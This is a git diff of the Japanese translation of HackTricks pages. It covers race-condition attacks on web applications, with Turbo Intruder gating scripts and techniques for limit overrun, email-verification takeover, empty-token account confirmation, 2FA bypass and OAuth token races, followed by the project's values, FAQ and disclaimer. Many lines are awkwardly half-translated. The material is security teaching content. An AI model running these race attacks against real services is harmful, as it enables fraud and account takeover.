-If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard: +もし**異なる値を送信する**場合、クリップボードからワードリストを読み込む以下のコードに変更できます: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` > [!WARNING] -> ウェブが HTTP2 をサポートしておらず(HTTP1.1 のみ)場合は、`Engine.BURP2` の代わりに `Engine.THREADED` または `Engine.BURP` を使用してください。 +> ウェブが HTTP2 をサポートしていない(HTTP1.1 のみ)の場合、`Engine.BURP2` の代わりに `Engine.THREADED` または `Engine.BURP` を使用してください。 -- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 1 endpoint にリクエストを送り、その後他の複数の endpoint にリクエストを送って RCE をトリガーする必要がある場合、`race-single-packet-attack.py` スクリプトを次のように変更できます: +- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 1つのエンドポイントにリクエストを送ってから他の複数のエンドポイントにリクエストを送って RCE を誘発する必要がある場合、`race-single-packet-attack.py` スクリプトを次のように変更できます: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` -- **Repeater** でも、Burp Suite の新しい '**Send group in parallel**' オプションから利用できます。 -- **limit-overrun** の場合、グループに **same request 50 times** を追加するだけでよいです。 -- **connection warming** の場合、**group** の **beginning** にウェブサーバーの非静的な部分へ向けた **requests** をいくつか **add** することができます。 -- 2 サブステートのステップで、ある **request** の処理と次の **request** の処理の **between** に処理を **delaying** したい場合は、両方の **requests** の間に追加の **requests** を **add extra requests between** してください。 -- **multi-endpoint** RC の場合、まず **goes to the hidden state** する **request** を送り、その直後に **exploits the hidden state** する **50 requests** を続けて送信できます。 +- また、Burp Suite の新しい '**Send group in parallel**' オプションを使用した **Repeater** でも利用できます。 +- For **limit-overrun** の場合は、グループに **same request 50 times** を追加するだけでよい。 +- For **connection warming** の場合は、**group** の **beginning** に web server の非静的な部分への **requests** をいくつか **add** できます。 +- For **delaying** the process **between** processing **one request and another** in a 2 substates steps の場合は、両方のリクエストの間に **add extra requests between** を挿入できます。 +- For a **multi-endpoint** RC の場合は、まず **goes to the hidden state** へ送られる **request** を送り、続けてそれを **exploits the hidden state** する **50 requests** を直後に送ることができます。
-- **Automated python script**: このスクリプトの目的は、ユーザーのメールアドレスを変更しつつ、その検証が完了するまで継続的に確認することです。新しいメールの検証トークンが最後のメールアドレスに届くまで待ちます(これはコード内で、メールを変更できるが検証が古いメールに送られてしまう RC が確認されたためで、メールを示す変数が最初の値で既に設定されていたからです)。\ -受信したメールの中に "objetivo" という単語が見つかったら、変更したメールの検証トークンを受け取ったことが確認できるので、攻撃を終了します。 +- **Automated python script**: このスクリプトの目的は、ユーザーのメールを変更しつつ、新しいメールの verification token が最終的に古いメールに届くまで継続的に検証することです(これはコード上で、メールを変更できるが verification が古い方に送信される RC が見られたためです。理由はメールを示す変数が最初のメールで既に初期化されていたためです)。\ +受信メールに "objetivo" という単語が見つかった時点で、変更後のメールの verification token を受け取ったことが分かり、攻撃を終了します。 ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge @@ -217,21 +217,29 @@ h2_conn.close_connection() response = requests.get(url, verify=False) ``` -### Single Packet Attack の改善 +#### Turbo Intruder: エンジンとゲーティングのメモ -オリジナルの研究では、この攻撃は1,500バイトの制限があると説明されています。しかし、[**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)では、IPレイヤのフラグメンテーション(単一のパケットを複数のIPパケットに分割)を使用し、パケットを別順序で送信することで、single packet attack の1,500バイトの制限をTCPの**65,535 Bウィンドウ制限**まで拡張できる方法が説明されています。これにより、すべてのフラグメントがサーバに届くまでパケットの再構成を防ぐことができます。この手法により、研究者は約166msで10,000件のリクエストを送信できました。 +- エンジン選択: HTTP/2 ターゲットでは `Engine.BURP2` を使用して the single‑packet attack をトリガーする; HTTP/1.1 の last‑byte sync には `Engine.THREADED` または `Engine.BURP` にフォールバックする。 +- `gate`/`openGate`: `gate='race1'`(または per‑attempt gates)で多数のコピーをキューに入れ、各リクエストの末尾を保留する;`openGate('race1')` がすべての末尾を同時にフラッシュし、ほぼ同時に到着させる。 +- Diagnostics: Turbo Intruder の負のタイムスタンプは、サーバがリクエストの送信完了前に応答したことを示し、オーバーラップがあったことを証明する。これは true races では予期される。 +- Connection warming: タイミングを安定させるために、まず ping や無害なリクエストを数回送る;最終フレームのバッチ化を促すために `TCP_NODELAY` をオプションで無効化する。 -この改善により、数百〜数千のパケットが同時に到着することを要求するRCにおいて攻撃の信頼性は向上しますが、ソフトウェア側の制約もあります。Apache、Nginx、Go のような一般的なHTTPサーバーは `SETTINGS_MAX_CONCURRENT_STREAMS` がそれぞれ100、128、250 に厳格に設定されています。一方、NodeJS や nghttp2 のようなものは無制限です。\ -これは基本的に Apache が単一のTCP接続からのHTTP接続を100件しか扱わないことを意味し(このRC攻撃を制限します)。 -この手法を使ったいくつかの例はリポジトリ https://github.com/Ry0taK/first-sequence-sync/tree/main で確認できます。 +### Improving Single Packet Attack + +In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms. + +これにより、何百〜何千のパケットが同時に到着することを要する RC に対して攻撃がより信頼性を増す一方で、ソフトウェア側の制限もあり得る点に注意する。Apache、Nginx、Go といった一般的な HTTP サーバは `SETTINGS_MAX_CONCURRENT_STREAMS` をそれぞれ 100、128、250 に厳格に設定しているが、NodeJS や nghttp2 のように無制限のものもある。\ +これは基本的に Apache が単一の TCP 接続から 100 の HTTP コネクションしか考慮しない(この RC 攻撃を制限する)ことを意味する。 + +You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). ## Raw BF -前述の研究以前は、RCを引き起こすためにパケットを可能な限り高速で送信しようとする以下のようなペイロードが使用されていました。 +Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC. -- **Repeater:** 前のセクションの例を参照してください。 -- **Intruder**: **request**を**Intruder**に送信し、**Options menu**内で**number of threads**を**30**に設定し、ペイロードとして**Null payloads**を選択して**30**を生成します。 +- **Repeater:** Check the examples from the previous section. +- **Intruder**: **request** を **Intruder** に送り、**Options menu** 内で **number of threads** を **30** に設定し、ペイロードとして **Null payloads** を選択して **30** を生成する。 - **Turbo Intruder** ```python def queueRequests(target, wordlists): @@ -283,41 +291,41 @@ asyncio.run(main()) ### Limit-overrun / TOCTOU -これは、アクションの実行回数を制限する場所に**vulnerabilities**が**appear**する、最も基本的なタイプのrace conditionです。例えば、同じ割引コードをウェブストアで何度も使うことが挙げられます。簡単な例は[**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**this bug**](https://hackerone.com/reports/759247)**.** +これは最も基本的なタイプの race condition で、**vulnerabilities** が、行為を行える回数を制限する場面に**appear**するものです。例えば、同じ割引コードをウェブストアで何度も使うようなケースです。非常に簡単な例は[**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) や [**this bug**](https://hackerone.com/reports/759247)**.** にあります。 -There are many variations of this kind of attack, including: +この種の攻撃には以下のようなバリエーションがあります: -- Redeeming a gift card multiple times -- Rating a product multiple times -- Withdrawing or transferring cash in excess of your account balance -- Reusing a single CAPTCHA solution -- Bypassing an anti-brute-force rate limit +- ギフトカードを複数回換金する +- 製品を複数回評価する +- アカウント残高を超える現金の引き出しや送金 +- 単一の CAPTCHA 解答を再利用する +- anti-brute-force rate limit をバイパスする ### **Hidden substates** -複雑な race condition を悪用する際は、短い機会を利用して hidden または **unintended machine substates** とやり取りすることを狙うことが多いです。アプローチ方法は以下の通りです: +複雑な race conditions を悪用するには、短時間だけ存在する隠れた(または**unintended machine substates**)状態とやり取りできる機会を利用することが多いです。アプローチは次の通りです: 1. **Identify Potential Hidden Substates** -- まず、user profiles や password reset のような重要なデータを変更・操作する endpoints を特定します。注目点: -- **Storage**: client-side を扱うものよりも server-side の永続データを操作する endpoints を優先する。 -- **Action**: 既存データを変更する操作を探す。新規データを追加する操作より exploitable conditions を生みやすい。 -- **Keying**: 成功する攻撃は通常、同じ識別子(例: username や reset token)でキー付けされた操作が関係する。 +- まず、user profiles や password reset processes のような重要なデータを変更または操作する endpoints を特定します。次の点に注目してください: +- **Storage**: クライアント側でデータを扱うものよりも、サーバー側の永続データを操作する endpoints を優先する。 +- **Action**: 既存のデータを変更する操作は、新しいデータを追加する操作よりも exploitable な条件を作りやすい。 +- **Keying**: 成功する攻撃は通常、同じ識別子(例: username や reset token)をキーにした操作が関与する。 2. **Conduct Initial Probing** -- 特定した endpoints に対して race condition 攻撃でテストし、期待される結果からの逸脱を観察する。予期しないレスポンスやアプリ挙動の変化は vulnerability の兆候となる。 +- 特定した endpoints に対して race condition 攻撃を試し、期待される結果からの逸脱を観察する。予期しないレスポンスやアプリケーションの挙動の変化は vulnerability の兆候となる。 3. **Demonstrate the Vulnerability** -- 攻撃を最小のリクエスト数(多くの場合 2 回)に絞って vulnerability を実証する。正確なタイミングが必要なため、この段階では複数回の試行や自動化が必要になることがある。 +- 攻撃を vulnerability を悪用するために必要な最小のリクエスト数(多くの場合は2つ)に絞り込む。このステップはタイミングが正確である必要があるため、複数回の試行や自動化が必要になることがある。 ### Time Sensitive Attacks -リクエストのタイミングを精密に合わせることで vulnerabilities が露呈することがある。特に timestamps のような予測可能な手法で security tokens を生成している場合に顕著である。例えば、timestamp ベースで password reset tokens を生成していると、同時に行ったリクエストで同一の token が生成される可能性がある。 +リクエストのタイミングの精度は脆弱性を露呈させることがあり、特に timestamps のような予測可能な方法が security tokens に使われている場合に顕著です。例えば、password reset tokens を timestamps に基づいて生成していると、同時のリクエストで同一のトークンが発生し得ます。 **To Exploit:** -- 精密なタイミング(単一パケット攻撃など)で同時に password reset リクエストを送る。同一の token が返れば vulnerability を示す。 +- single packet attack のような精密なタイミングを使って同時に password reset リクエストを行う。トークンが同一であれば vulnerability を示す。 **Example:** -- 同時に 2 つの password reset token を要求して比較する。一致すれば token 生成の欠陥を示唆する。 +- 同時に2つの password reset tokens をリクエストして比較する。トークンが一致すれば token generation に欠陥があることを示唆する。 **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.** @@ -325,29 +333,29 @@ There are many variations of this kind of attack, including: ### Pay & add an Item -この挙動(store で **pay** して支払い不要の**追加アイテム**を**add**する方法)は[**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)で確認できます。 +この [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) を確認して、ストアで **pay** してから **add an extra** アイテムを行い、そのアイテムの支払いが **won't need to pay for it** になる方法を見てください。 ### Confirm other emails -狙いは、**同時に email address を verify しつつ別のものに change して、プラットフォームが新しいアドレスを確認するかどうかを確かめる**ことです。 +アイデアは、**verify an email address and change it to a different one at the same time** を同時に行い、プラットフォームが新しいメールを正しく verify するかを確認することです。 ### Change email to 2 emails addresses Cookie based -According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**. +[**this research**](https://portswigger.net/research/smashing-the-state-machine) によると、Gitlab はこの方法で takeover の脆弱性がありうるとされています。というのも、**send** された **email verification token of one email to the other email** が起きる可能性があったためです。 **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.** ### Hidden Database states / Confirmation Bypass -もし **2 different writes** が **database** 内に **information** を **add** するために使われると、database に **only the first data has been written** 短い時間帯が生じる。例えば、ユーザ作成時に **username** と **password** が **written** され、その後に新規アカウントを確認する **token** が書き込まれる、という順序だと、その間は **token to confirm an account is null** という状態になる。 +もし **2 different writes** が **database** 内に情報を **add** するために使われる場合、データベースには **only the first data has been written** という短い時間が存在します。例えば、ユーザを作成する際に **username** と **password** が **written** され、その後で新規アカウントを確認するための **token** が書き込まれるかもしれません。つまり、ある短時間の間は **token to confirm an account is null** という状態があり得ます。 -Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email. +したがって、**registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) ですぐにアカウントを確認しようとすると、自分が control していないメールのアカウントを **confirm an account** できてしまう可能性があります。 **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.** ### Bypass 2FA -The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created: +以下の pseudo-code は race condition に脆弱です。非常に短い時間の間に **2FA is not enforced** の状態で session が作成されるためです: ```python session['userid'] = user.userid if user.mfa_enabled: @@ -355,26 +363,25 @@ session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` -### OAuth2 の永続的な保持 +### OAuth2 の永続化 -There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). これらのサービスではアプリケーションを作成し、プロバイダに登録されているユーザーを認証することができます。 -そのために、**client** は **あなたのアプリケーションを許可**して、**OAUth provider** 内のデータの一部へアクセスできるようにする必要があります。\ -ここまでは google/linkedin/github... 等でよくある一般的なログインで、次のようなページが表示されます:"_Application \ wants to access you information, do you want to allow it?_" +There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). これらのサービスではアプリケーションを作成し、プロバイダに登録されているユーザーを認証できます。そうするために、**client** は **permit your application** をして **OAUth provider** 内のいくつかのデータへアクセスする必要があります。\ +ここまでは google/linkedin/github... などでよくあるログインと同じで、"_アプリケーション \ があなたの情報にアクセスしようとしています。許可しますか?_" のような画面が表示されます。 -#### Race Condition in `authorization_code` +#### `authorization_code` における Race Condition -The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. 基本的には、あなたがアプリケーションにデータへのアクセスを許可した事実を悪用して **複数のアカウントを作成** します。 その後、もしアプリケーションへのアクセス許可を取り消しても、1組の AT/RT は削除されるかもしれませんが、他のものは依然として有効なまま残ります。 +**問題** は、**承諾すると** 自動的に **`authorization_code`** が悪意あるアプリケーションへ送信されるときに発生します。次に、この **アプリケーションは OAUth サービスプロバイダにおける Race Condition を悪用して、`authorization_code` からあなたのアカウントに対して複数の AT/RT を生成します**(_Authentication Token/Refresh Token_)。基本的には、あなたがアプリにデータアクセスを許可したことを悪用して **複数のアカウントを作成** します。そうして、もしアプリへのアクセス許可を取り消しても、**一組の AT/RT は削除されるかもしれませんが、他のものは依然として有効なままです。** -#### Race Condition in `Refresh Token` +#### `Refresh Token` における Race Condition -Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.** +一度 **有効な RT を取得すると**、それを **悪用して複数の AT/RT を生成する** ことが可能です。そして、**ユーザーが権限を取り消したとしても**、**複数の RT が依然として有効なままになる** ことがあります。 ## **RC in WebSockets** -- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**. -- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). +- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) には、websocket メッセージを **parallel** に送信して Web Sockets における **Race Conditions** を悪用するための Java 製 PoC が含まれています。 +- Burp の WebSocket Turbo Intruder では **THREADED** エンジンを使って複数の WS 接続を立ち上げ、ペイロードを並列に送信できます。公式の例から始めて `config()`(スレッド数)を調整して並行性を確保してください;WS ハンドラ間でサーバ側の状態をレースする場合、単一接続でのバッチ処理よりもこちらの方が信頼性が高いことが多いです。参照: [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). -## References +## 参考資料 - [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) - [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 518517c03..078acade7 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,21 +1,21 @@ -# HackTricks の価値観とFAQ +# HackTricks の価値観 & FAQ {{#include ../banners/hacktricks-training.md}} ## HackTricks の価値観 > [!TIP] -> 以下は**HackTricksプロジェクトの価値観**です: +> これらは **HackTricks Project の価値観** です: > -> - 全てのインターネットユーザーに**FREE**で**EDUCATIONAL hacking**リソースへのアクセスを提供する。 -> - Hackingは学びのためのものであり、学習はできるだけ無料であるべきです。 -> - この本の目的は包括的な**educational resource**として機能することです。 -> - コミュニティが公開する素晴らしい**hacking**テクニックを**STORE**し、**ORIGINAL** **AUTHORS**にすべての**credits**を帰属させる。 -> - **We don't want the credit from other people**, 我々はただ皆のためにクールなトリックを保存したいだけです。 -> - また HackTricks では**our own researches**も掲載しています。 -> - 場合によっては、テクニックの重要な部分を**in HackTricks a summary of the important parts**としてまとめ、詳細については**encourage the lector to visit the original post**します。 -> - 本に含まれるすべての**hacking**テクニックを**ORGANIZE**し、より**MORE ACCESSIBLE**にすること。 -> - HackTricksチームは、ユーザーが**learn faster**できるよう、コンテンツを**only to organize the content**するために何千時間もの無償の時間を捧げてきました。 +> - インターネット上のすべての人に **EDUCATIONAL hacking** リソースへ **無料で** アクセスを提供すること。 +> - Hackingは学習のためのものであり、学習はできるだけ無料であるべきです。 +> - この本の目的は包括的な **教育用リソース** として機能することです。 +> - コミュニティが公開する素晴らしい **hacking** テクニックを保存し、元の著者にすべてのクレジットを与えること。 +> - **他人からクレジットを奪いたいわけではありません**。私たちはただ皆のためにクールなトリックを保存したいだけです。 +> - また、HackTricks では**自分たちの研究**も執筆しています。 +> - 場合によっては、テクニックの重要な部分を**HackTricks に要約として掲載**し、詳細は**元の投稿を参照するよう読者に促します**。 +> - 本にあるすべての **hacking** テクニックを**整理して**、より**アクセスしやすく**すること +> - HackTricks チームは、コンテンツの整理にのみ何千時間も無償で費やしており、人々が**より早く学べる**ようにしています。
@@ -25,15 +25,15 @@ > > - **Thank you so much for these resources, how can I thank you?** -これらのリソースをまとめて公開してくれたHackTricksチームに対して、[**@hacktricks_live**](https://twitter.com/hacktricks_live) をメンションしたツイートで公に感謝を伝えることができます。\ -特に感謝している場合は、[**sponsor the project here**](https://github.com/sponsors/carlospolop) からプロジェクトをスポンサーできます。\ -そして、GitHubプロジェクトに**give a star in the Github projects!**するのを忘れないでください!(下にリンクがあります) +HackTricks チームがこれらのリソースをまとめたことに対して、[**@hacktricks_live**](https://twitter.com/hacktricks_live) をメンションしたツイートで公に感謝を伝えることができます。\ +If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\ +そして**Github プロジェクトにスターを忘れずに!**(リンクは下にあります)。 > [!TIP] > > - **How can I contribute to the project?** -コミュニティに**share new tips and tricks with the community or fix bugs**を共有したり、本で見つけたバグを修正したりするには、該当するGithubページに**Pull Request**を送ってください: +You can **share new tips and tricks with the community or fix bugs** you find in the books sending a **Pull Request** to the respective Github pages: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) @@ -44,14 +44,14 @@ Don't forget to **give a star in the Github projects!** > > - **Can I copy some content from HackTricks and put it in my blog?** -はい、可能です。ただし、コンテンツを取得した**specific link(s)**を必ず記載してください。 +Yes, you can, but **don't forget to mention the specific link(s)** where the content was taken from. > [!TIP] > > - **How can I cite a page of HackTricks?** -情報を取得したページのリンクが表示されていればそれで十分です。\ -bibtexが必要な場合は、次のような形式を使用できます: +情報を得たページのリンクが記載されていれば十分です。\ +If you need a bibtex you can use something like: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Can I copy all HackTricks in my blog?** - -**やめてください**。これは**誰の利益にもなりません**。公式のHackTricksの書籍ですでに**全て無料で公開されている**コンテンツだからです。 - -もし消えることを心配しているなら、Githubでforkするかダウンロードしてください。繰り返しますが、既に無料で公開されています。 +> - **私のブログにHackTricksの全コンテンツをコピーして掲載できますか?** +> +> **できればやめてください**。それは**誰の利益にもなりません**。公式のHackTricks書籍ですでに**すべてのコンテンツが無料で公開されている**からです。 +> +> もし消えてしまうことを心配しているのであれば、Githubでforkするかダウンロードしてください。繰り返しますが、すでに無料です。 > [!WARNING] > -> - **Why do you have sponsors? Are HackTricks books for commercial purposes?** - -最初の**HackTricks**の**価値**は、世界中の**すべての人**に**無料の(FREE)**ハッキング教育リソースを提供することです。HackTricksチームはこのコンテンツを提供するために**何千時間も費やしており**、再度言いますが**無料**で提供しています。 - -HackTricksの書籍が**商業目的**で作られていると思うなら、それは**完全に間違いです(COMPLETELY WRONG)**。 - -スポンサーがいるのは、全てのコンテンツが無料であっても、コミュニティが我々の仕事を**感謝の気持ちとして支援できる機会**を提供したいからです。したがって、人々がHackTricksに寄付できるように[**Github sponsors**](https://github.com/sponsors/carlospolop)を通じたオプションや、**関連するサイバーセキュリティ企業**によるスポンサー掲載や、学習を**妨げない**場所に配置した**広告(ads)**の掲載オプションを提供しています。広告は常に**見える場所**に置きますが、コンテンツに集中している人の学習を**妨げない**ようにしています。 - -他のコンテンツが少ないブログのように煩わしい広告で溢れていることはなく、HackTricksは商業目的で作られていません。 +> - **なぜスポンサーがいるのですか?HackTricksの本は商業目的のものですか?** +> +> 最初の **HackTricks** の **価値** は、世界中の**すべての人**に**無料**のハッキング教育リソースを提供することです。HackTricksチームはこのコンテンツを提供するために**何千時間も**費やしており、改めて言いますが**無料**です。 +> +> もしHackTricksの書籍が**商業目的**のために作られていると思っているなら、それは**完全に間違い**です。 +> +> スポンサーがいるのは、コンテンツがすべて無料であっても、コミュニティが**私たちの仕事に感謝を示す手段**を提供したいからです。したがって、人々がHackTricksに寄付するオプションとして[**Github sponsors**](https://github.com/sponsors/carlospolop)を提供しており、**関連するサイバーセキュリティ企業**がHackTricksをスポンサーし、書籍内に**広告**を掲載することがあります。これらの**広告**は常に目に付きやすい場所に配置しますが、コンテンツに集中する学習を**妨げない**よう配慮しています。 +> +> HackTricksは他のコンテンツが少ないブログのように煩わしい広告で満ちていることはありません。HackTricksは商業目的で作られていません。 > [!CAUTION] > -> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** - -**申し訳ありません。これは起こるべきではありません**。Github issues、Twitter、Discordなどで、そのHackTricksページのリンクとあなたのブログのリンクを教えてください。**確認してできるだけ早く参照を追加します(ASAP)**。 +> - **もしHackTricksのページが私のブログ記事に基づいているのに参照がない場合はどうすればいいですか?** +> +> **大変申し訳ありません。これは起こるべきではありません。** Github issues, Twitter, Discord... などで、該当するHackTricksページのリンクとあなたのブログのリンクを教えてください。**確認してできるだけ早く参照を追加します。** > [!CAUTION] > -> - **What should I do if there is content from my blog in HackTricks and I don't want it there?** - -HackTricksにあなたのページへのリンクがあることは次の点で利点があります: - -- あなたの**SEO**が向上する -- コンテンツは**15以上の言語に翻訳され**、より多くの人がアクセス可能になる -- **HackTricksは**人々があなたのページを**確認することを奨励している**(いくつかの方から、HackTricksに彼らのページが掲載されてから訪問者が増えたと報告を受けています) - -それでもあなたが自身のブログのコンテンツをHackTricksから削除してほしい場合は、知らせてください。該当するあなたのブログへのすべてのリンクおよびそれに基づくコンテンツを**確実に削除**します。 +> - **私のブログのコンテンツがHackTricksにあり、そこに掲載してほしくない場合はどうすればいいですか?** +> +> HackTricksにあなたのページへのリンクがあることは次の点でメリットがあります: +> +> - あなたの**SEO**が向上します +> - コンテンツが**15以上の言語に翻訳され**、より多くの人がその内容にアクセスできるようになります +> - **HackTricksは**人々に**あなたのページを確認するよう促します**(いくつかの方から、彼らのページがHackTricksに掲載されて以来アクセスが増えたと報告を受けています) +> +> それでもあなたのブログのコンテンツをHackTricksから削除してほしい場合は、知らせてください。**あなたのブログへのすべてのリンク**およびそれに基づくコンテンツを確実に**削除します**。 > [!CAUTION] > -> - **What should I do if I find copy-pasted content in HackTricks?** - -我々は常に**原著者に全てのクレジットを与えます**。もしオリジナルの出典が示されていないコピー&ペーストのページを見つけた場合は教えてください。該当ページは**削除する**か、**テキストの前にリンクを追加する**か、**リンクを付けて書き直す**いずれかを行います。 +> - **HackTricksでコピペされたコンテンツを見つけた場合はどうすればいいですか?** +> +> 我々は常に**原著作者に全てのクレジットを与えます**。もし出典が示されていないコピペされたページを見つけた場合は教えてください。我々はそのページを**削除する**か、**該当テキストの前にリンクを追加する**か、**リンクを付けて書き直す**いずれかの対応を取ります。 ## ライセンス -Copyright © All rights reserved unless otherwise specified. +著作権 © 特に記載がない限り全ての権利を保有します。 #### ライセンス概要: -- 帰属: あなたは以下のことができます: -- 共有 — 素材をあらゆる媒体や形式でコピーおよび再配布できます。 -- 改変 — 素材をリミックス、変換、発展させることができます。 +- 帰属: 以下のことが許可されています: +- Share — あらゆる媒体や形式で素材をコピーおよび再配布できます。 +- Adapt — リミックス、変換、素材に基づく二次的著作物の作成が可能です。 -#### 追加条件: +#### 追加条項: -- 第三者コンテンツ: 本ブログ/書籍の一部には他のソースからのコンテンツ(他のブログや出版物の抜粋など)が含まれている場合があります。これらの使用はフェアユースの原則または該当する著作権保有者からの明示的許可の下で行われています。第三者コンテンツに関する具体的なライセンス情報については元のソースを参照してください。 -- 著作: HackTricksによって作成されたオリジナルのコンテンツは本ライセンスの対象となります。共有や改変の際には作成者への帰属を推奨します。 +- Third-Party Content: このブログ/書籍の一部は、他のブログや出版物からの抜粋など、第三者のコンテンツを含む場合があります。そのようなコンテンツの使用はフェアユースの原則に基づくか、該当する著作権保有者からの明示的な許可を得て行われています。第三者コンテンツに関する具体的なライセンス情報については、元のソースを参照してください。 +- Authorship: HackTricksが作成したオリジナルコンテンツは本ライセンスの対象となります。共有や改変を行う際は、著者への帰属を推奨します。 -#### 例外: +#### 免除事項: -- 商業利用: 本コンテンツの商業利用に関するお問い合わせはご連絡ください。 +- 商業利用: 本コンテンツの商業利用に関するお問い合わせは、私にご連絡ください。 -本ライセンスはコンテンツに関連する商標やブランディング権を付与するものではありません。本ブログ/書籍に掲載されているすべての商標およびブランディングは各所有者の財産です。 +本ライセンスは、本コンテンツに関連する商標やブランディング権を付与するものではありません。本ブログ/書籍に掲載されている商標およびブランドは、それぞれの所有者に帰属します。 -**HackTricksにアクセスまたは使用することで、あなたは本ライセンスの条件に従うことに同意したものとみなされます。これらの条件に同意しない場合は、このウェブサイトにアクセスしないでください。** +**HackTricksにアクセスまたは使用することで、あなたは本ライセンスの条件に従うことに同意したものとみなされます。これらの条件に同意しない場合は、本サイトへのアクセスをお控えください。** ## **免責事項** > [!CAUTION] -> 本書『HackTricks』は教育および情報提供を目的としています。本書内のコンテンツは「現状のまま(as is)」で提供されており、著者および出版社は、本書に含まれる情報、製品、サービス、または関連する図表の完全性、正確性、信頼性、適合性、入手可能性について、明示的または黙示的を問わず何ら保証するものではありません。したがって、これらの情報に依存する場合はすべて自己の責任となります。 +> 本書『HackTricks』は教育および情報提供を目的としています。本書の内容は「現状のまま」提供されており、著者および出版社は、本書に含まれる情報、製品、サービス、関連図版の完全性、正確性、信頼性、適合性、入手可能性について、明示的にも黙示的にもいかなる保証も行いません。本書の情報に依拠する場合、その責任は全て利用者自身にあります。 > -> 著者および出版社はいかなる場合においても、データまたは利益の損失に起因する直接的または間接的な損害、または本書の使用に関連して生じる一切の損害について責任を負いません。 +> 著者および出版社は、データや利益の損失に起因する、またはそれに関連する間接的または結果的損害を含むいかなる損失や損害についても、一切責任を負いません。 > -> さらに、本書に記載されている技術やヒントは教育および情報提供のみを目的としており、違法または悪意のある活動に使用すべきではありません。著者および出版社は違法または非倫理的な行為を容認または支持するものではなく、本書の情報の使用は利用者自身の責任と判断で行ってください。 +> さらに、本書で説明されている技術やアドバイスは教育および情報提供を目的としたものであり、違法または悪意のある活動に使用されるべきではありません。著者および出版社は、違法または非倫理的な活動を容認または支持するものではなく、本書の情報の使用は利用者自身のリスクと裁量によるものです。 > -> 利用者は本書の情報に基づいて行った行為について単独で責任を負い、記載されている技術やヒントを実装しようとする場合は常に専門家の助言を求めるべきです。 +> 利用者は、本書の情報に基づいて行った行為について単独で責任を負うものとし、これらの技術やアドバイスを実装しようとする場合は常に専門家の助言を求めるべきです。 > -> 